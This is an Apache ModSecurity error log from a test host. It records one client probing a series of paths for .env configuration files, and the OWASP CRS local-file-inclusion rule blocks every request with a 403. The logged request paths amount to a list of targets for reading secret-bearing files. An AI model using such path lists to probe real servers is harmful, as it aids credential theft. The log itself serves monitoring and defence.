[Thu Feb 26 01:02:55.778411 2026] [:error] [pid 2330788] [client 185.177.72.22:24010] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /backend/.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env.local&quot;] [unique_id &quot;aZ-NrySJSniLip0oFXiyoAAAAAA&quot;]
[Thu Feb 26 01:02:55.778640 2026] [:error] [pid 2330788] [client 185.177.72.22:24010] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env.local&quot;] [unique_id &quot;aZ-NrySJSniLip0oFXiyoAAAAAA&quot;]
[Thu Feb 26 01:02:55.778788 2026] [:error] [pid 2330788] [client 185.177.72.22:24010] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env.local&quot;] [unique_id &quot;aZ-NrySJSniLip0oFXiyoAAAAAA&quot;]
[Thu Feb 26 01:02:55.789361 2026] [:error] [pid 2330792] [client 185.177.72.22:24020] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /archipel/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Archipel/.env&quot;] [unique_id &quot;aZ-Nrzf0JOOqB-ib2UlHdgAAAAQ&quot;]
[Thu Feb 26 01:02:55.789621 2026] [:error] [pid 2330792] [client 185.177.72.22:24020] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Archipel/.env&quot;] [unique_id &quot;aZ-Nrzf0JOOqB-ib2UlHdgAAAAQ&quot;]
[Thu Feb 26 01:02:55.789770 2026] [:error] [pid 2330792] [client 185.177.72.22:24020] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Archipel/.env&quot;] [unique_id &quot;aZ-Nrzf0JOOqB-ib2UlHdgAAAAQ&quot;]
[Thu Feb 26 01:02:55.808941 2026] [:error] [pid 2330788] [client 185.177.72.22:24010] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /backend/config/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/config/.env&quot;] [unique_id &quot;aZ-NrySJSniLip0oFXiyoQAAAAA&quot;]
[Thu Feb 26 01:02:55.809165 2026] [:error] [pid 2330788] [client 185.177.72.22:24010] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/config/.env&quot;] [unique_id &quot;aZ-NrySJSniLip0oFXiyoQAAAAA&quot;]
[Thu Feb 26 01:02:55.809318 2026] [:error] [pid 2330788] [client 185.177.72.22:24010] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/config/.env&quot;] [unique_id &quot;aZ-NrySJSniLip0oFXiyoQAAAAA&quot;]
[Thu Feb 26 01:02:55.836631 2026] [:error] [pid 2330792] [client 185.177.72.22:24020] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /asset_img/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/asset_img/.env&quot;] [unique_id &quot;aZ-Nrzf0JOOqB-ib2UlHeAAAAAQ&quot;]
[Thu Feb 26 01:02:55.836845 2026] [:error] [pid 2330792] [client 185.177.72.22:24020] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/asset_img/.env&quot;] [unique_id &quot;aZ-Nrzf0JOOqB-ib2UlHeAAAAAQ&quot;]
[Thu Feb 26 01:02:55.836984 2026] [:error] [pid 2330792] [client 185.177.72.22:24020] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/asset_img/.env&quot;] [unique_id &quot;aZ-Nrzf0JOOqB-ib2UlHeAAAAAQ&quot;]
[Thu Feb 26 01:02:55.860799 2026] [:error] [pid 2330792] [client 185.177.72.22:24020] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /assets/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env&quot;] [unique_id &quot;aZ-Nrzf0JOOqB-ib2UlHeQAAAAQ&quot;]
[Thu Feb 26 01:02:55.861014 2026] [:error] [pid 2330792] [client 185.177.72.22:24020] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env&quot;] [unique_id &quot;aZ-Nrzf0JOOqB-ib2UlHeQAAAAQ&quot;]
[Thu Feb 26 01:02:55.861163 2026] [:error] [pid 2330792] [client 185.177.72.22:24020] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env&quot;] [unique_id &quot;aZ-Nrzf0JOOqB-ib2UlHeQAAAAQ&quot;]
[Thu Feb 26 01:02:56.005399 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /backend/src/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/src/.env&quot;] [unique_id &quot;aZ-NsA3HqGC30X9HPoEkXwAAAAM&quot;]
[Thu Feb 26 01:02:56.005646 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/src/.env&quot;] [unique_id &quot;aZ-NsA3HqGC30X9HPoEkXwAAAAM&quot;]
[Thu Feb 26 01:02:56.005811 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/src/.env&quot;] [unique_id &quot;aZ-NsA3HqGC30X9HPoEkXwAAAAM&quot;]
[Thu Feb 26 01:02:56.051574 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /backendfinaltest/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backendfinaltest/.env&quot;] [unique_id &quot;aZ-NsA3HqGC30X9HPoEkYAAAAAM&quot;]
[Thu Feb 26 01:02:56.051823 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backendfinaltest/.env&quot;] [unique_id &quot;aZ-NsA3HqGC30X9HPoEkYAAAAAM&quot;]
[Thu Feb 26 01:02:56.052036 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backendfinaltest/.env&quot;] [unique_id &quot;aZ-NsA3HqGC30X9HPoEkYAAAAAM&quot;]
[Thu Feb 26 01:02:56.126064 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /base_dir/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/base_dir/.env&quot;] [unique_id &quot;aZ-NsA3HqGC30X9HPoEkYwAAAAM&quot;]
[Thu Feb 26 01:02:56.126118 2026] [:error] [pid 2330792] [client 185.177.72.22:24020] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /assignment3/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Assignment3/.env&quot;] [unique_id &quot;aZ-NsDf0JOOqB-ib2UlHgAAAAAQ&quot;]
[Thu Feb 26 01:02:56.126293 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/base_dir/.env&quot;] [unique_id &quot;aZ-NsA3HqGC30X9HPoEkYwAAAAM&quot;]
[Thu Feb 26 01:02:56.126376 2026] [:error] [pid 2330792] [client 185.177.72.22:24020] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Assignment3/.env&quot;] [unique_id &quot;aZ-NsDf0JOOqB-ib2UlHgAAAAAQ&quot;]
[Thu Feb 26 01:02:56.126476 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/base_dir/.env&quot;] [unique_id &quot;aZ-NsA3HqGC30X9HPoEkYwAAAAM&quot;]
[Thu Feb 26 01:02:56.126535 2026] [:error] [pid 2330792] [client 185.177.72.22:24020] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Assignment3/.env&quot;] [unique_id &quot;aZ-NsDf0JOOqB-ib2UlHgAAAAAQ&quot;]
[Thu Feb 26 01:02:56.158834 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /basic-network/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/basic-network/.env&quot;] [unique_id &quot;aZ-NsA3HqGC30X9HPoEkZAAAAAM&quot;]
[Thu Feb 26 01:02:56.159108 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/basic-network/.env&quot;] [unique_id &quot;aZ-NsA3HqGC30X9HPoEkZAAAAAM&quot;]
[Thu Feb 26 01:02:56.159282 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/basic-network/.env&quot;] [unique_id &quot;aZ-NsA3HqGC30X9HPoEkZAAAAAM&quot;]
[Thu Feb 26 01:02:56.160689 2026] [:error] [pid 2330792] [client 185.177.72.22:24020] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /assignment4/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Assignment4/.env&quot;] [unique_id &quot;aZ-NsDf0JOOqB-ib2UlHgQAAAAQ&quot;]
[Thu Feb 26 01:02:56.160954 2026] [:error] [pid 2330792] [client 185.177.72.22:24020] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Assignment4/.env&quot;] [unique_id &quot;aZ-NsDf0JOOqB-ib2UlHgQAAAAQ&quot;]
[Thu Feb 26 01:02:56.161115 2026] [:error] [pid 2330792] [client 185.177.72.22:24020] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Assignment4/.env&quot;] [unique_id &quot;aZ-NsDf0JOOqB-ib2UlHgQAAAAQ&quot;]
